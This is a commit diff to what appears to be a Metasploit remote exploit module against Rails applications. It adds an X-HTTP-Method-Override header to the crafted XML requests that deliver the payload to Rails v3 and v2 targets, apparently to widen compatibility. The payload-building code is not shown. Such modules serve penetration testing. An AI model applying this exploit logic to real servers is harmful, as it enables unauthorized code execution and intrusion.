Pass the X-HTTP-Method-Override parameter for compat
parent
e709811c5a
commit
6471a70053
|
@ -166,19 +166,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URIPATH'] || "/",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'ctype' => 'application/xml',
|
||||
'data' => build_request(3)
|
||||
'uri' => datastore['URIPATH'] || "/",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'ctype' => 'application/xml',
|
||||
'headers' => { 'X-HTTP-Method-Override' => 'get' },
|
||||
'data' => build_request(3)
|
||||
}, 25)
|
||||
handler
|
||||
|
||||
print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URIPATH'] || "/",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'ctype' => 'application/xml',
|
||||
'data' => build_request(2)
|
||||
'uri' => datastore['URIPATH'] || "/",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'ctype' => 'application/xml',
|
||||
'headers' => { 'X-HTTP-Method-Override' => 'get' },
|
||||
'data' => build_request(2)
|
||||
}, 25)
|
||||
handler
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue